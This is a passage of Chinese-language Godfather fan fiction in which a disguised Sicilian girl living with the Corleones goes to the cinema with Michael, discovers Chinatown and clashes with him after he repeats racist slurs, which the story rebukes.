“迈基。”阿波罗和他打招呼。他跟着桑尼叫他迈基,这称呼和他们生疏现状不符合的亲密,让迈克尔更加觉得他是个伪君子。
迈克尔只回以一点头,并不想和他多说话。
“你也去玩刮刮乐了吗?”矮柠檬却不想放过他,站在比他高几节的台阶上问,“中奖了吗?是不是很不错?”
迈克尔顺着他的视线低头,才发现口袋里弗雷多委托他拿回家的彩票条露出来了,毛毛躁躁的,像是脱线的袜头。矮柠檬不会以为他是弗雷多那种把零花钱丢水里的人吧。
毫无缘由的,迈克尔有些生气,硬邦邦地回:“一点都不好玩。”
7. Chapter07
艾波打量站在三节楼梯下面的少年,米白翻领衬衫皱巴巴地塞进裤腰,黑色西裤的两个裤兜鼓囊囊的,左边露出卷成筒的书角,右边袋口严实一些,几根白纸条像是鹦鹉螺探出的纤弱腕足。
不知道是不是第一次俯视他的缘故,暖融的灯光落下,她竟从他写满了抗拒的冷漠神情里,读出几分少年人的倔强与要面子。
相比大哥一望即知的热烈、二哥友善到讨好的敏感、义兄善于观察的沉稳,艾波到现在也拿不准他的脾气。他总游离于家族之外,大到换学校,小到晚饭后的活动,这家伙都要自己做主。
其实艾波还蛮喜欢这种性格的小孩,在枯燥紧张的赛线计算间歇,聊聊没营养的垃圾话,似乎也不错。
“唔,这样啊,那这些纸条可以给我吗?”她用上了对付安布罗斯、德文特的恳求语气,“我和康妮在叠五角星,正愁没有结实挺括的纸条。”
少年的表情空白了一瞬,似乎没有想到她会这样说。
蠢蠢的,像是小动物一样。艾波继续逗他,“我不白要,十美分?”
依旧没有得到回答。他唇色淡得和肤色相近,呆站着的模样,仿佛西西里岛上废弃神庙里的少年雕像。
艾波索性把口袋里所有的硬币都掏出来,粗粗扫了眼,像和小贩讨价还价:“二十美分也行,再多就没有了。”
“不行。”回答得斩钉截铁。
艾波跳下一阶楼梯瞧他。彼此眼睛几乎在同一高度,到这时候,她才发现他有一双黑曜石般的眼瞳,近似东亚人。
她不解:“为什么?你留着这些纸条也没有用,不如挽回一些损失。还是说你想要留纪念?送给我和康妮折星星更有纪念意义呀。”
忽然之间,黑眼睛的男孩打喷嚏般偏头转向一边,说了句风马牛不相及的话:“你闭嘴。我带你去看电影,等我回家拿钱。”
诶??这要是二次元漫画,她现在脑袋上一定冒出了一个足以砸死人的问号。没等她反应过来,他就三步并作两步地踩着楼梯往自家公寓楼层跑。
艾波只得反身重新往上走,琢磨起婉拒的理由。
今天中央交易所建立的第五周,上一个周末他们打了漂亮的一仗,这周许多赌徒慕名而来,只要正常计算赛线即可,收编进交易所的原簿记点会计也能算……不过,相比画质感人、剧情老套的黑白电影,肯定是工作更重要啦。
走到家门口的时候,迈克尔正从弗雷多卧室出来、跑进自己卧室,艾波注意到装彩票条那半边裤袋恢复了正常大小。
“艾波?怎么回来了?忘东西了吗?”
科里昂夫人瞧见她,远远从起居室那头的厨房发来询问。家里亲朋好友多,水馅饼总也做不完,康妮挥舞着沾满派皮面团的小手,招呼她过去。
艾波摇头,正准备说话,迈克尔像一阵风从房间里蹿出,对母亲和妹妹说:“他要和我一起去看电影!”
“这倒不错,你要有个哥哥样子,多带艾波玩儿,”科里昂夫转头对艾波笑呵呵的鼓励,“快去吧快去吧。”
可、可今天要帮科里昂先生忙——这个借口没来得及说出口,因为科里昂和克莱门扎先生进了屋子。
交易中心就设立在楼下的公寓,来回很方便。
胖乎乎的克莱门扎捏起标准的意大利手势,边走向厨房边赞叹:“妈妈咪呀,真香——”
科里昂先生跟在他后边进屋,路过艾波和迈克尔时,揉了揉她的脑袋,并对儿子说:“照顾好阿波罗,钱够吗?”显然听到了刚才的对话。
迈克尔一声不吭地点头。艾波发现自己摸到一些他的性格特质——倔。不服输、死要面子的倔。
“艾波,”科里昂先生这才看向她,他的手一如既往的宽大,轻松罩住她的头顶,“你已经做得不错,好好放松一下。至少给西西里写信的时候,要有些能写的东西。”
写信!艾波眼睛一瞬间睁大。她、她还以为要等到她长大,在纽约站稳脚跟,才能和家里通信。毕竟她犯的事儿实在不算小……
“放心,只是日常进口橄榄油时捎带的信件,不会被宪兵发现。”
科里昂先生最后拍了拍艾波的脑袋,然后走向厨房,搂住忙活的妻子,在她的脸颊印上一个吻。他们身边,克莱门扎呼哧呼哧地吹着一块刚出炉的派,让它快写变凉;康妮则悄摸摸戳热腾腾的切面,小食指尖被烫到,飞快缩回手,放进嘴里一吮。
不知怎么的,艾波眼眶热热的,就是想哭。
“喂,走不走?”迈克尔声音里透着对眼下场景习以为常的冷漠。
走!怎么不走。艾波直接转身,先他一步奔出家门。一直跑到街上,她才停下来。不知道怎么去电影院了。
“跑呀,你怎么不接着跑了。”少年气喘吁吁地追上来,边平复呼吸边抱怨,“你屁股下面长的是腿么,我看你和潘神一样,长了两根羊蹄吧。”
艾波敢肯定这家伙绝对不知道潘神出众的能力,不然绝对不会用她一个九岁小孩作比,但这事儿她解释似乎更奇怪了,于是胡乱点头应过去:“没错,您说得对。”
“那当然。”他矜持地微扬下巴,嘴角压不住的自得弧度。
走去电影院的路上,他们谁也没说话,艾波光顾着看沿途的路人,男男女女,衣着服饰,每一个都十分有趣。
等到了地方,只有一场上半年上映的、由克拉克.盖博主演的《一夜风流》有票,一听这名字就不适合未成年看。
“要不我们还是回去吧?”艾波提议。刚才一路走来的所见所闻,不同于意裔聚居区的风景已经够她写一篇长长长的家信了。
“不行,我答应了父亲,”迈克尔很固执,“我有办法。”
说完这话,他走到堪堪到他胸口的售票窗口,对里头的售票员说了几句话,然后从口袋里摸出一美元的硬币递过去,没过一会儿,里面伸出一只手,手指夹着两张浅黄的电影票。
“这就是你说的办法?”坐进座位时,艾波反复翻转票子,看上面的金额,“花双倍的票钱?”
“嘘——”迈克尔做了个安静的手势,艾波愣是从他那正义凛然的神情底下发掘出心虚。啧,要面子的小男孩。
哥伦比亚电影公司标志性的自由女神片头伴随管乐出现,不同的是该女神只是一尊雕塑,并非日后巴克勒扮演的经典画面。
电影很俗套,落跑富家女与狡猾穷记者的爱情故事,基本是罗马假日的低配版本。主角演技很棒,故事诙谐幽默,时不时地,观众席里就会传出一阵笑声。
他们走出电影院,外面的天色已经完全暗下来,珠链似的灯泡圈住霓虹灯字体,照得路面热闹非凡。
“我还蛮喜欢这部电影的。”也许是电影拉近了彼此的距离,也许单纯是她太久没看这么新潮的东西以至于倾诉欲爆棚,“艾伦追求了一次自由婚姻,她可以追求第二次,甚至可以追求第三次。因为决定她婚姻和人生的从来不是她的父亲、也不是要做她丈夫的那个人,而是她自己。”
“你不觉得彼得很懦弱吗?”迈克尔反问,“如果他真的爱艾伦,就应该勇敢追求、在婚礼上把她抢过来。那才像个真正的男人!”
典型的意大利男人思维。艾波摇了摇头:“彼得自尊自爱,也知道玫瑰是长在花圃之中的。代入一下,你希望有人来抢康妮吗?哪怕他说自己很爱很爱她,愿意为她付出一切,但康妮并不喜欢他?”
“呃…”沉默着往前走了一小段路,迈克尔才回答,“爸爸和桑尼不会允许这件事发生的。”
“那你呢?”
“我也一样,”少年低头向她看来,眼里意外有着超越年龄的意味不明,“这是不是你来纽约的原因。”
艾波一惊,随后失笑,果然是个科里昂。
她供认不讳:“没错,西多尼亚、我的姐姐就面临了这种困局。我不知道桑尼是怎么和你说的,总而言之,就是一个还算有些权势的人物看上了我的姐姐,哦,他并没有娶她的想法,只是作为情妇。迈克尔,你能想象吗?情妇!我美丽聪慧的姐姐,给他当随意玩弄的情妇!当然,问题最终解决了,在你父亲和兄弟的帮助之下。”
“你们杀了他。”迈克尔陈述道。
马路上行人川流不息,他声音很轻,险些淹没在嘈杂的背景音里。艾波默了一瞬,轻声回答:“是的,我们杀了他。”
其实降低说话的声音实在没有必要,谁会在意马路上一个小孩的话呢?听见的也只会以为她们在模仿电影或漫画。
“作为父亲帮你处理好一切的代价,你被家里人卖到了纽约?”
这话说得不客气,但确实是事实。艾波没有否认。
他继续问:“所以,上周乃至今天的投注场面也都有你的一份
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力?”
“是的。”艾波缓慢地点头,有些拿不准他说这些的想法,试探性地说:“桑尼确实说过想要帮手……”
“不!”他一下子听出她的潜台词,仿佛车笛骤然响起惊起的飞鸟。
随后他意识到失态,深吸一口气,凝望着越来越近的红绿灯说:“我不想参与这种事。我只想清净地生活。”
艾波就不再说什么了。就像科里昂先生时常念叨的那样,一个人有一个人的命运。迈克尔.科里昂有属于自己的命运之纱,飞梭穿过、织出的经纬线是否好看,与她无关。
后面的路,两人没有再说话。她们一路从流光溢彩的主干道走进热闹非凡的意裔聚集区,最后走进他们家所在的公寓。
楼梯间里的灯泡似乎又爆了,只有每层楼走廊里投进来的薄纱般的光。
在两人皮鞋踩着木台阶一路往上的咚咚声里,迈克尔的声音突然自身后传来:“你的彩票抽奖有漏洞,中奖金额与概率呈反比,会被有心人利用卡住出奖时间。”
艾波脚步微不可查地一顿,旋即无声地笑了,踏上最后一节台阶、站在家门口,在打开大门之前,她转头对他笑道:“这正是我想要,聪明人为了钻漏子,反而花更多不必要的钱,不是吗?”
*
阴险、狡诈、刻薄的阿波罗!
迈克尔发誓他一定是故意的,故意问他讨要彩票条。他一定看出了什么,不然怎么会平白无故花钱买这东西?
他想要拒绝那可怜巴巴的几枚硬币,正在思考措辞,如何不被抓住把柄地奚落他。如同大风天刮来的旧报纸,那双眼眸就这么突然地撞进他的脑海,棕紫色的、仿佛一团化不开的晚霞,近乎震撼的色彩。
眼睛的主人依旧喋喋不休。
迈克尔却像是被强光刺中一般,条件反射般别开眼,脑袋被照得发懵,混混沌沌的,只来得及抓住出现在脑子里的第一件事,稀里糊涂地说了一个多小时前和弗雷多的提议——看电影。
好吧,话都说出去了,迈克尔也不想反悔。他终于找到理由回家,替弗雷多放好彩票条,又放好自己的书,顺便从存零花钱的抽屉里摸出面值最大的两个硬币,出来时恰好遇见父亲和彼得叔叔。
父亲摸了矮柠檬的头,又说了一些他不该听懂的话。
可他就是懂了。
仿佛有一把梭子,自动地把线索串联。他不知道该怎么面对矮柠檬了。特别是阿波罗望着父母露出那种眼巴巴的表情,好像摔碎的玩具躺在清澈的水底,湿漉漉的伤心。
这讨厌的情绪好像会传染,连带着他的心里不讲道理地涌现沮丧愧疚,好像自己才是那个害他离开家乡的罪魁祸首。
迈克尔催促着出门。只有自己知道了,这里面至少有八成是在对内心那个替别人伤心的傻蛋生气。他决定暂时不称呼他为矮柠檬了。
电影确实不错。
但他无法赞同那个观点,爱情难道不是靠争取的吗?就像父亲守护她的母亲,男人、强大的男人会用尽一切争取爱情与幸福。
不过阿波罗后面的话说得有些道理。谁要是让康妮不开心,他一定会让对方没有好果子吃。
这一点,他们是一样的,都愿意豁出去保护姐妹。阿波罗甚至付诸了行动,他由衷敬佩。
另外,这小子终于不再假模假样地叫他迈基了,他舒服不少。更别提阿波罗那些坦白了,让他有种绞尽脑汁计算出结果,结果发现和标准答案的每一步分毫不差,简直太畅快了。
可能是太快乐的缘故,以至于他忘记掩饰内心真实的想法,说了实话。
他当然爱他的父亲兄弟,爱那些壮实的叔叔伯伯、爱科里昂这个姓氏,但世界很大,他不想早早困在父兄划定的范围里。他想当职员,想当教师,想当地理学家,甚至像彼得这样的穷记者也行。家里的事,有桑尼、汤姆和弗雷多,轮不到他操心。
哦现在还有阿波罗了。迈克尔承认他聪明到不可思议。所以他想拿捏住他,暂时别向父亲或是桑尼透露他的想法,最好形成一些同盟关系。
谁知这小子实在油滑,脾气还硬,简直就是根门闩。
一想到这里怒火蹿上迈克尔的太阳穴,他好心好意提醒漏洞,得到的是什么?竟然是羞辱。
她嘲讽他和那些自投罗网的聪明人一样。那张双倍价格的电影票真是给狗买的!
8. Chapter08
1934的下半年,科里昂家族的菠菜版图一再扩大,如同干瘪的海绵不断吸取钱财、名望、赌客,逐步膨胀出曼岛,圆鼓鼓地压过海湾,大有挤进对岸皇后区和新泽西的趋势。
关键时刻,维多.科里昂勒住扩张的步伐,帝国驯服地盘踞在曼哈顿与布朗克斯,东西边境线与伊斯特河、哈德逊河完美重叠。至于布鲁克林和史丹顿,那是缓冲地带,就像阿尔萨斯-洛林地区,与同样经营赌博活动的斯特拉齐、巴西尼家族共享。
艾波理解并欣赏他的做法。永远不被胜利冲昏头脑,这是一位成熟决策者必备素养。
阿班多、克莱门扎和忒西奥三位首领也理解。一方面,他们忠诚于他们的唐,无条件相信他的决策;另一方面,他们各有自己的小算盘。艾波看得很清楚。
军师詹科.阿班多为人谨慎,不愿与人动武,是小富即安的性格。头领克莱门扎看似大大咧咧,实则粗中有细,从不打无准备的仗,他掌握柯里昂家族明面上的全部武力,明确表露过这不是开战的好时候。安全阀忒西奥心思更为复杂,他管理着布鲁克林的地下赌场与工会,游离于家族之外,用于杀敌人一个措手不及,一旦由中央交易所统一调配的簿记大范围开在他的管辖区,无疑削弱他手中的权力。
唯一不开心的自然是交易所的负责人,桑蒂诺.科里昂了。
即将成年的小伙子,正是好勇斗狠的时候,父亲长辈的止步不前,在他看来是一种懦弱的表现,不再像过去那般敬仰他们。
“一个月,最多一个月,我带一小队的纽扣人正面出击、形成压迫,再让卢卡绕后杀一两个巴西尼、斯特拉齐家族的干将。两方配合,肯定能把胆敢伸手和我们抢菠菜生意的人清理干净。馋肉的野狗,不把它打服,它是不会罢休的。”
他抽出一支烟,烟嘴那端在方向盘上磕了几下,好让烟丝更紧实。等点燃香烟,吐出第一口雾气,情绪逐渐平复,他朝副驾驶的艾波说:“把妈妈给你的清单拿出来,看看我们要买些什么吧。”
距离圣诞节还有三日,今天是维多.科里昂带着军师与其余四大家族进行第一次和谈的日子。忒西奥和克莱门扎在家里等消息,手下人全员待命,准备着微乎其微、但不能说可能性为零的谈判破裂。作为家里唯二会开车的人,桑蒂诺便被科里昂夫人差遣出门采购节日物资。
艾波依言从衬衫小口袋里掏出叠成长方形的纸条,展开依次念出上面的意大利词汇:“切萨雷家的帕尔玛火腿、德韦托家的辣香肠、布里和马苏里拉奶酪、梅西百货手表和波拉克洋娃娃,还有……西装?这个没说具体品牌。”
桑蒂诺嘴里叼着烟,检视左右后视镜,发动车辆,解释道:“噢,是特拉沃尔塔,他欠爸爸一个人情,我家所有的西服都出自他手。应该已经做好了,我们直接去取就行。”
汽车迅捷地汇入车道,桑蒂诺的车技一如他这个人,油门轰轰、左右穿插,快得人下意识握住车门把手。
采购的物资集中于曼哈顿的小意大利区,车速终于慢下来。一路从茂比利街开到布里克街,有时碰到老邻居,桑蒂诺便摇下车窗和他们聊两句。到了店里,更显示出科里昂家的影响力,所有的店主都热情地往他们车上塞根本没有订购的东西。等取完西装、离开老街区,整个后座都堆满了东西,桑蒂诺花了一些力气才把后车门关严实。
“下一站,梅西百货?”艾波问。
“先吃些东西,”车子驶进主干道,路有些堵,桑蒂诺瞥了眼腕表,“已经十二点了,肯定赶不及回家吃饭,你想吃什么?我请客。”
艾波没什么想吃的。餐点总是那些,高档的是牛排、龙虾,普通的则是热狗、三明治、披萨。她实在没胃口,正当她想随便说一种三明治时,车窗外、五颜六色的遮阳篷上方,忽然飘过一行繁体字。
方方正正的、横排版的繁体字。
她转头问:“怎么换路了?”
“那条路有些堵,”桑蒂诺反应过来,哈哈笑道,“这里是唐人街,你还没来过吧?”
喉咙里好像突然住进了一只小狗,呜呜地想要小声尖叫。艾波尽量让自己的声音听起来正常,复读那个单词:“唐人街?”
“就是中国人聚居区。这附近生活的全是中国人,和我们的小意大利一样。”桑蒂诺回答。
“那…我们午餐能吃中国食物吗?”艾波小心翼翼提出,“我还没尝过,以前听罗马的神父说,中国人吃的是…米饭?可以试试吗?”
“这还不简单。”桑蒂诺爽快地把车停到路边,“走,哥哥带你吃中餐。”
“太好啦!酷毙了!”艾波欢呼,兴高采烈地跳下车。
桑蒂诺一边领着她穿过马路、往对面的餐馆走,一边介绍:“看到那间门窗钉牢的店没有,那是万里云酒楼,听克莱门扎说,1910年前后那些中国人在这里庆祝过和平协议的签署。有什么用呢?十年之后,当时某个我不记得名字的总堂主,哦,堂主就是中国人的唐,相当于父亲这样的领袖,被人用自动手枪弄死在这酒楼门口。”
艾波惊了。从不知道华人在纽约武德如此充沛,上辈子只听说过意大利黑手党、黑人拉丁裔帮派,印象里华人在海外都是本份做事被欺负的存在。
桑蒂诺推开小餐馆的店面,里面的红彤彤的,原来是挂了几盏红玻璃宫灯。梁柱之间装饰精致的漆木角花,四面墙各挂有螺旋玉石拼凑而成的瓶花图案,分别是牡丹、白梅、山茶和菊花。但颜色旧旧的,积着一层厨房飘出的油垢。
她打量环境的功夫,桑蒂诺已经点好了菜,左宗棠鸡、李鸿章碎、酸辣汤和炸蟹角。
“我要一碗米饭。”趁服务员还没走,艾波赶紧补充。
点菜小哥看起来不大,约莫十三四岁的年纪,五官端正到有几分混血的意思。他问:“炒饭吗?要哪一种?我们有酱油炒饭、蛋炒饭,卖得最好的是本楼炒饭。”
富有锅气的炒饭貌似也很有吸引力,艾波咽咽口水,犹豫一瞬,还是硬着心肠下定决心:“就米饭,纯净的白米饭。”
男生面上闪过一丝怀疑,但最终还是在记录菜品的便签簿上记下。他走后,艾波向桑蒂诺吐吐舌头:“实在好奇米饭的味道。”
“那你一定会后悔。”桑蒂诺幸灾乐祸,“吃这个还不如吃无盐面包呢。”
艾波不可置否,等菜的间歇,她又问起了唐人街的事。
桑蒂诺耸耸肩:“再细节的事情,我也不清楚了。克莱门扎知道得多一些,他说这些中国人十分凶狠,几乎只对同伴下手,每隔十来年就要发生一次斗争,和我们意大利人差不多,总要死掉一半的人才能释放仇怨。”
在有限的空间里争夺资源,大战的间隔正好也是新的青壮年补充进来、站稳脚跟的时间。艾波苦笑,二十世纪了,人类依旧遵循部落时代
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的规律。
她问:“上一次唐人街的大战是什么时候?二几年?”
桑蒂诺回忆了一番,才说:“我七八岁的时候吧。也有小十年了。和平是很脆弱的东西,艾波,父亲他们今天只能得到短暂的和平。五大家族之间迟早有一战。”
艾波点头,但她又问了一个新问题:“为什么唐人街现在依然是和平的?”
外边的马路,虽然没有百老汇附近街区热闹繁华,但也称得上平静祥和,不像资源倾轧,局势一触即发的紧绷。
桑蒂诺笑道:“那是因为这些中国人都回去了。”
“回去了?”
“你该多听听广播,中国和日本打得不可开交,”话说到一半,菜上来了,桑蒂诺叉了一块放进嘴里,才继续讲,“去年年初,中国人里面的青壮年就陆续坐船离开了。留下有头有脸的人物募集资金。所有人搁置争议,年底的时候握手言和。几大势力失去金钱与武力的滋养,自然消亡了。”
艾波边听边学着他的样子吃肉,肉块甫一入口,酸甜的酱汁直达味蕾,激得眼泪顺着脸颊往下淌。
“这也是我们能拿下曼岛全部菠菜行业的原因之一,要知道这群中国人搞赌博很有一套,他们好像有个叫白鸽票的彩票,风靡十几”桑蒂诺说到一半,骤然瞧见艾波脸上的泪珠,吓了一大跳。
“没事,没事。”艾波拿起餐巾,眼泪完全停不下来,“从没有吃过这么好吃的肉,感动得哭了。”
桑蒂诺半信半疑,豪爽地安慰:“那就多吃些,过几天我再带你来。”
“好。”
*
矮柠檬又哭了。
那天阿波罗硬要跟着桑尼出门采购圣诞物资,回来以后迈克尔注意到他眼眶红红的,像是一只小兔子。
兔子?矮柠檬?迈克尔迅速甩头丢掉这个比喻。
等他和弗雷多帮忙把采购的所有东西搬进家门后,妈妈从里面拿出了一件衣服。迈克尔注意到格外小的尺寸,以及衣架上面特拉沃尔塔的小印章。哦,她给矮柠檬也定做了一身西装。
一套得体的、修身的、帅气的意式手工西装!迈克尔记得自己去年才得到一套正装。他很珍爱,只有重大节日才会穿。可矮柠檬,才到他们家半年,就已经有这个殊荣,偏偏他还不珍惜。
是的,不珍惜。
“谢谢,卡梅拉,十分合身,我很喜欢。”穿上新衣服的男孩这样说,迈克尔看得很清楚,他笑得勉强,仿佛捏着脖子硬喝下一整碗油醋汁。
虽然不关他的事,但迈克尔还是向桑尼打听他们的整个行程。至少他得知道矮柠檬为什么哭,也许能抓到把柄,万一他打算向父亲透露他叛逆的想法时,也有回击的办法。
听桑尼说完,迈克尔不知道说些什么,满心的困惑,怎么会有人因为左宗棠鸡哭泣?他不相信,一定另有隐情。
之后的日子,大半个月的光景,迈克尔每周抽出一小部分大精力打探阿波罗的秘密。为此他牺牲了阅读时间,减少了和同学的放学闲聊,甚至每天翻过两道铁栅栏、只为赶上更早一班的公交车回布朗克斯,方便跟踪矮柠檬。
当然,这一切都是值得的,很快他就发现矮柠檬的小秘密——她竟然和中国佬混在了一起!
她想干什么?她为什么那么开心?她是不是要背叛科里昂?那个男生是谁?
看得越多,迈克尔越生气。
9. Chapter09
二月头个星期五,艾波醒得很早。
眼睛还没睁开,手已经习惯性摸向床头,床柱上挂了一枚手缝香囊,里面塞满了晒干的柠檬皮。她拿来蒙上脸,猛吸一口,清新昂扬的味道一瞬间充斥鼻腔、灌入大脑,仿佛回到柠檬树下的家,灿烂地驱散最后一点睡意。
这是西西里带来的八分之一。其余几颗柠檬被成功地制成薄薄的书签和小盒子,她怕发霉,整个冬天都放在靠近暖气片的窗台,这让房间飘着一股若有似无的清香。
走出房间,墙面的挂钟嘀嗒作响,六点一刻,大家还没起来。屋子光线很暗,窗帘紧闭,所有的家具都浮在一层透亮的暗光里。
她拐进盥洗室,刷牙洗脸结束,又对着镜子沉腰跨步、双手高举,默数节拍比划了几个动作,总觉得哪里不到位,琢磨着今天排练一定要向师父讨教一二。
是的,排练。下周是农历新年,唐人街有游行活动。今年舞狮舞龙队回国了一大半,人员紧缺,在程乔义父子的大力举荐下,艾波得以作为编外人员参加排练。
狮队的吕师父很严厉,一米六的个子、三米二的气场,没有因为她是白人脸孔而特别照顾。扎马倒立、劈叉空翻,基本功一个接着一个捡起来,依稀间回到了小时候,不服输跟着师兄一起练功,父亲也这么反复折腾她。
最终,在半个月前,她通过了考核,拥有了自己的小狮头。一颗红为主、黑为辅的关羽狮!
虽然它的狮毛秃了一半,头上的犄角也裂开了,但艾波还是很喜欢它。她用这半年来攒下的私房钱,又多方打听、搞来十多张白兔子皮,委托程乔义帮忙染色,一点一点地修补好了它。
现在,她可以很光荣地拍胸脯,她是一只小狮子了。当然,她也没忘记新朋友:“明年、等我长高一点,再高五厘米,你来当我的狮屁股,我们一起表演。”
十四岁、身高一米六五上下的程乔义对此微微一笑,只回了一个“好”,艾波却知道他是认真的。
说起和程乔义的相识,故事并不新鲜。那天之后,艾波又去吃了几次中餐,头两回桑蒂诺领着她,后来他没耐心了,便委托手下的纽扣人和弗雷多带她。圣诞节假期的第二天,艾波想起忘记拿打包回家、带给卡梅拉尝尝的左宗棠鸡。车停在巷口,走正门有些远,她谢绝弗雷多帮忙,直奔后厨,却瞧见有人在勒索店主程先生。还是个爱尔兰人,要价高得让人牙酸。当下,她眼神和站在父亲身后的程乔义一碰,一个拽亲爹,一个拎起墙角铲垃圾的铁锹一抡。事情解决,她推拒程先生的五折优惠,反而提出让程乔义做她家教,教国语和汉字。
一来二去,两人自然熟悉了。程乔义发现她的中文水平远高于在美华人,而她也发现程乔义的野心。“我不想开餐馆、开洗衣店,任人盘剥。认真读书考大学?我能成为什么?律师?医生?白人客户不会来找我,有钱的亚裔也不会来找我。”
想到这里,艾波昂扬的情绪有所回落,变得冷静不少。歧视一直存在,今后也不会消失。在这个年代,她能做什么?
她迈着迟疑的步子往外走,突然望见盥洗室斜对面的卧室门口迈克尔穿着睡衣,不知道看了她多久。
“所以这就是你忙活两个多月的勾当吗?”他面色发沉,漆黑的眼睛好像积攒着浓郁的怒气。他模仿她刚刚的动作,双手往上托举:“可真滑稽。”
艾波不知道自己又哪里招他了,绕过沙发走到门口,打开家门,不意外地在门口发现一个盖有红包格纹毛巾的木篮,里面装的是现做的面包。
拎起面包篮反身往厨房走时,迎面碰上了一堵瘦弱的阻碍。艾波无意吵架,好脾气地扯出笑:“迈基,让一下可以吗?”
“休想。”他说,“除非你不参加这个滑稽的活动。”
艾波深呼吸,“听着,迈克尔.科里昂,你不是我的监护人。我不计较你跟踪我的事,也请你管好自己,随便做什么事,别来碍我的事。”
他的脸色一下子变得更难看了,“跟踪?谁跟踪你。”
艾波哂笑一声:“是了是了,包里街5号的北侧拐角、坚尼街38号的餐馆,以及勿街杂货铺对面,我看到的都是下水道蟑螂变的怪物。你知道的,就像卡夫卡小说里写的那样。”
“你、你……”他脸气得通红,像是有一只无形的手掐住了喉咙。
没等他你出来,科里昂夫人披着睡袍走出来,疑惑道:“迈克,你拦着艾波做什么?”
“没什么,卡梅拉,迈基是想帮我拿。”艾波甜笑着递出篮子,“谢谢你,迈基。”
艾波打定主意他不会接过篮子,毕竟他性格倔犟、爱面子,脸色黑得可以和后巷水沟里发臭的淤泥媲美。可出乎意料,他竟然伸手了,甚至嗫嚅着小声说:“这是我该做的。”
什么情况?艾波一头雾水,但没有纠结,绕过他跑去厨房帮科里昂夫人准备全家的早餐。
科里昂家的早餐很传统,牛奶、厚厚一片萨拉米和一段面包,所有人围坐在长桌,说说一天的计划和前日的新闻。
和往常一样,弗雷多率先出现帮忙摆餐具。等刀叉差不多放齐了,科里昂先生抱着康妮走出来,来到才分开十几分钟的妻子身边,两人交换了一个早安吻。
然后是汤姆,浅金色的头发像蓬稻草。他最近在准备考大学,科里昂先生帮他搞到了推荐信,如果没有意外,今年下半年他就是纽约大学法学院里的大一新生了。
等所有人都落座了,桑蒂诺才姗姗来迟,面上带着宿醉的倦意。一坐下就大口大口地吃面包,胃口好得像是能吃下一整头牛。
维多.科里昂最先吃完,他端起大号瓷杯,喝着加了茴香酒的热咖啡,询问了桑蒂诺的感情状况,正要转头让妻子给大儿子添些咖啡、醒醒神时,她右手边的迈克尔突然说话了:“爸爸,我想要转来布朗克斯中学。”
“哦?为什么?”
然后艾波就看到坐在对面的迈克尔冲自己笑了一下,“我想要帮助艾波。他最近认识了一些不三不四的人,给她带来了坏影响。作为哥哥,我觉得我有责任教导他走上正轨。”
好家伙,原来在这里等着她。艾波暗自咬牙,不过不慌,她一切行动都和维多.科里昂报备过,在默许的情况下进行——唐人街华人势力暗弱,正是他们进驻的好时机,再说,多个朋友总是没有错的,也许日后能成为一把出其不意的刀,刺向其余几大家族。
“坏影响?”桑蒂诺噗呲一声笑,险些把咖啡喷到汤姆餐盘里,“是赌鬼还是酒鬼?”
“都不是,是中国人。”他一本正经地说出了让艾波拳头发痒的话,“中国人都是恶棍与阴谋诡计之徒。他们愚昧无知,竟然以为斩活鸡头和烧写有符咒的黄纸能保护誓言,哦,他们还在衣服里穿寿衣,好时刻迎接死亡。”
科里昂先生放下了咖啡杯,问道:“你在哪里看到的?”
“纽约电报,纽约世界报。”迈克尔回答,“艾波是西西里人,是我们家的一份子。我不希望他堕落。”
他转过头来对艾波语重心长道:“我想,维太里先生也不希望你这样。”
艾波真的、真的已经很久没这么生气了。愤怒像潮水般袭来,没过胸膛,不断高涨,高过咽喉、即将淹没她的口鼻的时候,她终于像溺水者呼救般挤出一丝笑:“你是对的。”
她从椅子上站起来,提起桌角的牛奶壶,绕过卡梅拉向她的小儿子走去。这过程中,愤怒灌满她的身体,其余知觉全然远去,她听到自己说:“迈基,谢谢你,我一定听你的话。”
他终于满意了,那张对西西里人来说过于惨白、女气的脸摆出一副大发慈悲的笑脸,接过她倒的牛奶:“那就好,以后离那个黄面鬼”
就在他伸手的那一刻,艾波出手了。没有任何技巧,直挺挺地往他脸上招呼。
“呜呼——”桑蒂诺兴奋怪叫。
她出拳实在太突兀了
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,又短又急,以至于迈克尔连嚎叫的机会都没有就摔倒在地,带倒了椅子。当然,也摔碎了杯子,牛奶洒了一地。
“下一次再让我听见这种话,揍的就不只是脸了。”艾波扯出他餐盘下面的餐巾,擦拭指关节溅上的牛奶,朝座位上的科里昂们说:“我去排练了,晚上见。”
主座的维多.科里昂遥遥点头,唇角噙着笑。卡梅拉径自吃早餐,弗雷多和康妮惊呆了,桑蒂诺一个劲儿鼓掌称赞,只有汤姆无奈地扶起伤员。
*
迈克尔现在睡得很浅,总是做梦,醒来却说不出梦的内容。睁眼凝视天花板,不知过了多久,门外传来轻轻的开门声,几乎没有思考,他就知道是矮柠檬起床了。
轻轻打开门,家里暗得不行,可他还是一眼看见矮柠檬。
那双眼睛亮得惊人,特别是她做那几个古怪动作的时候,无法用语言形容的冲击力。是闭上眼睛,立刻会在眼皮底下浮现的亮。
他为什么会这么开心?他从没有在他面前那么开心过。妈妈得到过他的笑、康妮得到过她的笑、弗雷多得到过她的笑、桑尼得到过她的笑、爸爸也一定得到过她的笑,就连忙着考试的汤姆,迈克尔也瞧见矮柠檬冲他笑过。
那个黄种人,一定也得到他的笑。甚至是每天的,矮柠檬一定会和他说笑,他们会有许多独一无二的笑话。而这些,迈克尔不禁想,本该是他的。
明明他才是这个家里第一次遇见他的人,明明他才是把他带进这个家的契机。可现在呢?他连一句多余的话都不会和他说。
迈克尔从没感受过这种情绪,空气里无时不刻萦绕着叹息,散发着令人作呕的不甘。
他的脑袋消化着灵魂里渗出来的这陌生情绪,嘴巴已经不受控制地说出心里话了——他不希望他去参加那个活动。迈克尔知道这是无理取闹、毫无根据、霸道自私,但他内心深处真正想要说的话,远比这一句还要匪夷所思——对我笑吧。
不知道是这个想法,还是阿波罗拆穿跟踪更让他羞愤。无论如何,他确实如胶水粘住嘴巴一样,说不出话来。
幸好母亲出来了,然后、然后……他竟然朝他笑了,还叫他哥哥。上帝啊,那一瞬间,迈克尔想到的是也许罗兰骑士就是因为这样,才向查理大帝宣誓忠诚乃至献出生命。
不、他才是查理大帝。作为哥哥,他有责任教育、管理他。于是早餐的时候,他向父亲提出了建议。
那些关于中国人的话,他当然知道大多是胡言乱语。如果说中国人烧黄纸是愚昧,那母亲去弥撒点蜡烛也没比他们聪明多少。只是,他要显得有理有据一些,好让他的关心不显得那么突兀。
